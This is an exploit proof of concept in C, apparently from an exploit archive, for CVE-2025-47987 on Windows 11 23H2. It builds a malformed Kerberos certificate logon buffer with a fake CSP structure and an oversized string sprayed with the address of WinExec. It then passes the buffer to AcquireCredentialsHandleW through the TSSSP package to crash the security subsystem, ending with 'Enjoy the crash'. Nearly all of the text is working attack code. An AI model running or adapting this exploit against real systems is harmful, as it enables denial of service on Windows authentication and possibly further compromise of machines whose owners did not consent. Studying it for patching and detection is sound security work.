# Exploit Title: Windows 11 23H2 - Denial of Service (DoS) # Google Dork: N/A # Date: 2025-08-22 # Exploit Author: Kryptoenix # Vendor Homepage: https://www.microsoft.com/ # Software Link: https://www.microsoft.com/en-us/software-download/windows11 # Version: Windows 11 23H2 # Tested on: Windows 11 23H2 (x64) # CVE: CVE-2025-47987 #define SECURITY_WIN32 #include #include #include #include #include #include #include #include #pragma comment(lib, "secur32.lib") #define ALIGN_TO_8(x) (((x) + 7) & ~((size_t)7)) int BuildKerbCertLogonBuffer( const WCHAR* username, const WCHAR* domain, const WCHAR* password, const BYTE* certBlob, DWORD certBlobSize, BYTE** outBuffer, DWORD* outBufferSize) { if (!username || !domain || !password || !certBlob || !outBuffer || !outBufferSize) return -1; uint64_t usernameLen = (uint64_t)(wcslen(username) * sizeof(WCHAR)); uint64_t domainLen = (uint64_t)(wcslen(domain) * sizeof(WCHAR)); uint64_t passwordLen = (uint64_t)(wcslen(password) * sizeof(WCHAR)); size_t offsetUser = 0x48; // header is fixed 0x48 bytes size_t offsetPassword = offsetUser + ALIGN_TO_8(usernameLen); size_t offsetDomain = offsetPassword + ALIGN_TO_8(passwordLen); size_t offsetCert = offsetDomain + ALIGN_TO_8(domainLen); size_t totalSize = offsetCert + ALIGN_TO_8(certBlobSize); BYTE* buf = (BYTE*)malloc(totalSize); if (!buf) return -1; memset(buf, 0, totalSize); // 0x00: type *(uint64_t*)(buf + 0x00) = 13ULL; // username entry *(uint64_t*)(buf + 0x08) = usernameLen; *(uint64_t*)(buf + 0x10) = (uint64_t)offsetUser; // password entry *(uint64_t*)(buf + 0x18) = passwordLen; *(uint64_t*)(buf + 0x20) = (uint64_t)offsetPassword; // domain entry *(uint64_t*)(buf + 0x28) = domainLen; *(uint64_t*)(buf + 0x30) = (uint64_t)offsetDomain; // cert offset/size *(uint32_t*)(buf + 0x38) = (uint32_t)0x1337; // :) *(uint32_t*)(buf + 0x3C) = (uint32_t)certBlobSize; *(uint32_t*)(buf + 0x40) = (uint32_t)offsetCert; // payload copies memcpy(buf + offsetUser, username, usernameLen); memcpy(buf + offsetPassword, password, passwordLen); memcpy(buf + offsetDomain, domain, domainLen); memcpy(buf + offsetCert, certBlob, certBlobSize); printf("\nHeader of packed buffer (first 64 bytes):\n"); for (size_t i = 0; i < (totalSize < 64 ? totalSize : 64); ++i) { printf("%02x ", buf[i]); if ((i & 0x7) == 0x7) printf("\n"); } printf("\n"); *outBuffer = buf; *outBufferSize = (DWORD)totalSize; return 0; } BYTE* BuildFakeCspData( const char* str, size_t strLen, DWORD providerValue, // stored at header[5] DWORD* outSize) { if (!str) return NULL; size_t lenChars = strLen + 1; size_t stringBytes = lenChars; size_t headerBytes = 44; // 40-byte base + one DWORD offset size_t totalBytes = headerBytes + stringBytes; if (totalBytes < 0x30) totalBytes = 0x30; BYTE* buffer = (BYTE*)malloc(totalBytes); if (!buffer) return NULL; memset(buffer, 0, totalBytes); // header[5] = providerValue ((DWORD*)buffer)[5] = providerValue; // header[6] = offset for string (in bytes from start of data area) ((DWORD*)buffer)[6] = 0; // copy the string into the data area BYTE* stringArea = buffer + headerBytes; memcpy(stringArea, str, lenChars); printf("Header of CSP buffer (first 44 bytes):\n"); for (size_t i = 0; i < headerBytes; ++i) { printf("%02x ", buffer[i]); if ((i & 0x7) == 0x7) printf("\n"); } printf("\n\n"); if (outSize) *outSize = (DWORD)totalBytes; return buffer; } unsigned char* ptrToBytes(void* ptr, size_t* outLen) { size_t len = sizeof(void*); // 8 bytes unsigned char* buf = (unsigned char*)malloc(len); if (!buf) return NULL; memcpy(buf, &ptr, len); // copy pointer value into buffer if (outLen) *outLen = len; return buf; } unsigned char* BuildStringPattern(const unsigned char* pattern, size_t patLen, size_t repeatCount) { size_t totalLen = patLen * repeatCount; unsigned char* buf = (unsigned char*)malloc(totalLen); if (!buf) return NULL; // add padding for pointer allignment memset(buf, 0, 4); unsigned char* p = buf + 4; for (size_t i = 0; i < repeatCount; i++) { memcpy(p, pattern, patLen); p += patLen; } return buf; } wchar_t* BuildWideStringPattern(const wchar_t* pattern, size_t repeatCount) { if (!pattern || repeatCount == 0) return NULL; size_t patLen = wcslen(pattern); size_t totalLen = (patLen * repeatCount) + 1; wchar_t* buf = (wchar_t*)malloc(totalLen * sizeof(wchar_t)); if (!buf) return NULL; wchar_t* p = buf; // copy pattern repeatedly for (size_t i = 0; i < repeatCount; i++) { wmemcpy(p, pattern, patLen); p += patLen; } *p = L'\0'; return buf; } int main(void) { size_t addrLen; unsigned char* addrBytes = ptrToBytes((void*)WinExec, &addrLen); if (!addrBytes) { fprintf(stderr, "Failed to allocate address bytes.\n"); return 1; } size_t repeatCount = 0x1FFFFFE0; // 0xFFFFFF00 = 8 * 0x1FFFFFE0 unsigned char* hugeStr = BuildStringPattern(addrBytes, addrLen, repeatCount); if (!hugeStr) { fprintf(stderr, "Failed to allocate huge buffer.\n"); free(addrBytes); return 1; } DWORD fakeSize; printf("Building fake CSP buffer...\n\n"); BYTE* fakeCsp = BuildFakeCspData((const char *)hugeStr, 0xFFFFFF00, 0x18, &fakeSize); if (!fakeCsp) { wprintf(L"Allocation failed\n"); return 1; } wprintf(L"Built fake CSPDATA size=0x%X\n\n", fakeSize); //getchar(); SECURITY_STATUS status; CredHandle credHandle; TimeStamp expiry; const WCHAR* username = L"exampleusername"; const WCHAR* domain = L"exampledomain"; const WCHAR* password = L"examplepassexamplepassexamplepassexamplepassexamplepass"; BYTE* buf = NULL; DWORD bufSize = 0; printf("Building fake KerbCertLogonBuffer...\n"); if (BuildKerbCertLogonBuffer(username, domain, password, fakeCsp, fakeSize, &buf, &bufSize) != 0) { printf("Failed to build KerbCertLogonBuffer\n"); return 1; } printf("Trigerring the bug...\n"); status = AcquireCredentialsHandleW( NULL, (LPWSTR)L"TSSSP", // pszPackage (name of the security package) SECPKG_CRED_OUTBOUND, NULL, buf, // pAuthData (pointer to authentication data) NULL, NULL, &credHandle, &expiry ); if (status == SEC_E_OK) { printf("AcquireCredentialsHandle succeeded\n"); FreeCredentialsHandle(&credHandle); } else { if (status == SEC_E_INSUFFICIENT_MEMORY) { printf("Not enough memory to trigger the crash :(\n"); printf("[-] PoC failed!\n"); } else if (status == SEC_E_INTERNAL_ERROR) { printf("\n[+] PoC succeded! Enjoy the crash >:D\n"); } else { printf("AcquireCredentialsHandle failed! Error: 0x%x\n",status); printf("[-] PoC failed!\n"); } } if (buf) free(buf); if(hugeStr) free(hugeStr); if(fakeCsp) free(fakeCsp); return 0; }